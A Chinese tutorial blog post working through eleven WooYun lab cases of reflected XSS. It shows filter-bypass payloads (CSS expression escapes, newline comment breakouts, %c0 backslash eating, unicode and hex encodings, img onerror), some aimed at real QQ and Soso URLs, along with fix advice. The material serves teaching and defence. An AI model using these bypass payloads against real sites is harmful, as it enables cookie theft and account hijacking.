XSS——wooyun实战(11例)

<1>

点击进入本例模拟环境

测试方法

经过测试,我们发现,当在score后输入<>HTML标签时,查看源码,发现
图片.png

这便说明存在XSS漏洞,
图片.png

修复方法

a. 通常,我们只需要在输出前,将 < , > 过滤掉即可。
b. 这类XSS在小型网站中比较常见,在大型网站中少见。
c. 这类XSS通常都被浏览器的XSS过滤器秒杀了,所以一般来说,威力较小。
d. 对于普通用户来说,请使用IE8及以上版本(并开启XSS过滤器功能,默认开启),或chrome浏览器,将可以防御大部分此种类型的XSS攻击。

<2>

点击进入本例模拟环境

测试方法

输入aaaaaa<>我们发现出现位置如下


图片.png

解法1

1 首先判断,是否过滤了 < , > , / 等符号,
2 如果都没有过滤,恭喜你,一般可以直接XSS了。代码如下:
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa

图片.png

但是天有不测风雨, 如果过滤了 <, >,那么就无法使用上面的办法了

解法2

构造js代码:
eval('alert(1)');void

图片.png

payload是不固定的,也就是说,我们插入的内容,使得这一段javascript依然【语法正确】,能够【正确执行】,并且能够执行【我们所插入的JS代码】,这样我们的目的就达到了。
类似于var a="[输出]"; // 不过通常程序员会把 " 过滤掉, 这样的话,一般来说,我们就很难构造。

修复方案

 1. 过滤  组合 
 2. 针对输出在不同的场景,进行合适的过滤。 

<3.1>

点击进入本例模拟环境 3.1

测试

输入<>,发现被过滤了,查看源码发现,双引号不会被过滤,故我们因此构想payload

解法

图片.png

当用户点击这个文本框时,就会触发 XSS

<3.2>

点击进入本例模拟环境 3.2

测试

输入<>/"(),发现只有/没有被过滤,如何只用 \ 构造利用语句呢,我们可以想到CSS 中的字符编码,CSS 提供了一套转义处理策略,一个反斜杠后边跟1~6位十六进制数字。然后利用CSS 的expression 来调用JavaScript 代码。也就是试图构造出

expression(eval(alert(/xss/))

解法

完整的代码如下:


完整的payload:

bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29

用分号来结束backgroud-color,然后 w: 后边跟上expression,如果expression 要被过滤,那就加上转义,把expression 随意变下形就可以,于是,在下边这样的代码构造下,漏洞又被利用了。

试了很多次,发现一直不出现XSS,原来

expression 当年是微软搞出来的技术,但是一直没被其他浏览器接受,同时,甚至微软自己如今也抛弃了这种特性,它出现在IE6,IE7,和IE8的一些早期版本,因为微软官方也认为该属性不具有通用性,而且它处理的事务,如今已经能够在CSS 中正常的完成,如min-width,max-width, 这些都已经在IE8之后得到很好的支持,所以expression 也只能在这两个古老版本上起效。

<3.3>

点击进入本例模拟环境 3.3

测试

输入aaaaaaaa<>'/"()测试


图片.png

根据测试,我们发现只有/,(),'这三个符号没被过滤,而且攻击点在第二个等于后面。
........&searchvalue_yjbg=aaaaaa'

.......&searchvalue_yjbg=aaaaaa'+alert(1)+''

........&searchvalue_yjbg=aaaaaa'+alert(1)+'

解法

&: %26, #: %23,+:%2b,':%27
payload:

aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27

由于缺陷点是发生在 onkeydown 或 a 标签的 href 属性中,无法自动触发,因而使得威胁减小,如果是发生在 img 的 onload 属性,则非常可能导致自动触发,故需手动点击GO触发XSS。

修复方法(综合以上三个)

1. 对于输出在HTML属性中的情况,需要特殊情况特殊对待,该过滤\的时候,请过滤\, 该过滤&的情况,则过滤掉&
2. 碰到有某些修复的人用正则去判断, &#xNNN.., 而实际上 �NN; �NN, (后面自己慢慢试。。) 都是可以的。 或者是 
进制; 以及一些特殊的HTML实体,如 "等,都要注意到,好麻烦, 最好的办法,还是 &过滤为 & :) 

<4>

测试

输入<>'/()“
发现"<>被过滤

%df"alert(1)
图片.png

我们发现还有一个"没有闭合,但是直接加上",会被过滤,所以我们想到//注释符号将它注释即可

%df"alert(1)//

发现还不行


图片.png

不难想到这是代码,结尾要用;,故

%df";alert(1)//

修复方案

修复相关过滤机制。

<5>

这道题不能用
由于网站问题,本题只出示思路。

测试

输入常用符号,经过测试,我们可以看到,双引号是用不了, 但是 反斜线还可以使用。\可以用

提取缺陷代码

缺陷部分

"........."+"&ss=aaaa"+"&from=bbb"+"¶m=";

解题

反斜线是用来表示转义,我们要控制aaaa但是不能使用双引号,这时就可以用反斜线进行对双引号的转义,
语法发生变化:


这样看起来虽然前面的语法正确,但是后面的语句却不太正常,故,我们只需使用//将后面的语句进行注释即可。

location.href="........."+"&ss=aaaa\"+"&from=1//"+"¶m=";

但是还有一个问题,& 在这里,被考虑成了一个与操作,优先级是高于 =号的,变成了(“字符串”&from)=1 的语法,这仍然是错误的。但是,如果我们再测试一下,= 号会不会被屏蔽呢,=号也可以用,那么我们改变一下语法,添加一个等号,变成 ==:

location.href="........."+"&ss=aaaa\"+"&from==1//"+"¶m=";

于是语法编程了(“string”)&(from==1)的样式,from 变成了一个bool操作,但现在又面临了新的问题,如果你在URL 里本来该是一个定义的操作,却变成了一个判断的操作,from 就变成了未定义的状态了,语法仍然会报错,这我们就要进一步理解JavaScript的语法了,如果我们把from 当做一个变量或者是方法,如果是方法,无论在何处定义,都会被拉到最简便,利用这样一个特性,我们的代码可以改改。

location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"¶m=";

这样一来,我们的 function from(){} 就会被提前解析,从而定义了from, 后面 from==1的时候,就不会报错.
但问题又来了,我们现在添加了许多东西,而添加的这些东西,包含了许多特殊字符,会不会通过呢,经过实际测试,空格符被转义了。
空格符被转义了怎么办呢,我们找到新的替换品,那就是/**/, 这是一个注释符,之前我们也测试过了,斜杠不会被过滤,那么这个注释符,成功的顶替了空格,形成了正常的语法。
故最终payload:

http://mail.qq.com/cgi-bin/login?vt=passport&ss=\&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

知识点

1.==的优先级比 & 高,所以语句相当于 ("字符串")&(from==1)
2.from未定义,直接和1进行相等判断的话,会报错,错误是:“from”未定义

3.javascript里有一个特性:

aaa();
function aaa(){
}

凡是以 function xxx(){} 形式定义的函数,都会被最优先解析。换句话说:
解析器在解析JS代码段时,会先将 function xxx(){} 拿到最前面解析,然后再依次解析其它的部分。 换句话说,上面的代码,实际的解析顺序是:

function aaa(){
}
aaa();

这便是隐藏在payload中的知识点

location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"¶m=";
function from()
{
aaaaa from == 1;
alert(1);
}

<6>

点击进入本例模拟环境

测试

用了几个常用符


图片.png

我们在一些注释的代码中也能发现我们的符号们,不难发现被过滤的和没被过滤的

那么我们需要思考,如果我们能让代码跳出注释范围,再利用alert(1)触发XSS,这样不就达到我们的目的了吗?

解题

所以这里需要再科普一下换行符%0a
现在在view source里先构造我们的payload,观察有没有什么变化,

图片.png

不难发现我们已经成功跳出注释圈,成功的触发XSS,不过这里也要注意,为了闭合后面的",由于双引号被过滤,所以我们只能将它注释掉。
payload:

%0aalert(1);//

<7>

点击进入本例模拟环境

测试

图片.png

简单的测试,能找到被过滤的符号

审计

通过审计我们发现,这与上一道题相似,需要跳出注释圈

解题

aaa%5c%0aalert(1);//

发现不太行,源码里多了一个\,也就是这里防\,所以我们需要吃掉\

aaa%c0%5c%0aalert(1);//

知识点

javascript,字符串允许下面多行的写法。

var  a="我是一个字符串\

我还是一个字符串";

alert(a);

基于这点,把缺陷点构造成下面的样子。

//document.getElementById("order_select").value = "aaaa\
alert(1);//";

    var searchOrder = "aaaa\

alert(1);//";

也就是用到换行符 %0a
反斜杠问题中%c0可以吃掉%5c
%5c就是\

<8.1>

点击进入本例模拟环境 8.1

测试

测试之后我们发现过滤情况和之前差不多。
在js中的字符串中的字符可以写为 unicode编码。
故我们将<>进行编码,< 可以表示为 \u003c , > 可以表示为 \u003e

解题

输入后我们发现页面没有反应 ,查看源码我们发现<>被过滤的问题没有解决
\u003cimg src=1\u003e 再次尝试 ,发现页面出现反应了,利用这个漏洞
\u003cimg src=1 onerror=alert(1)\u003e

<8.2>

点击进入本例模拟环境 8.2

测试

经过简单的测试发现它和上一道题基本类似

解题

那我们就开始大胆的解题了,尝试用上一道题的方法


图片.png

很遗憾,很不幸,很失望,我们发现unicode编码<>也被过滤了
在JS字符串里, < 不光可以写为 \u003c,还可以写为 \x3c, > 同样可以写为 \x3e。
我们再试试这个,出现弹窗。故,

\x3cimg src=1 onerror=alert(1)\x3e

修复方案

修复方案:
方法1. 输出时,过滤
方法2. innerHTML=encodeHTML([输出])

你可能感兴趣的:(XSS——wooyun实战(11例))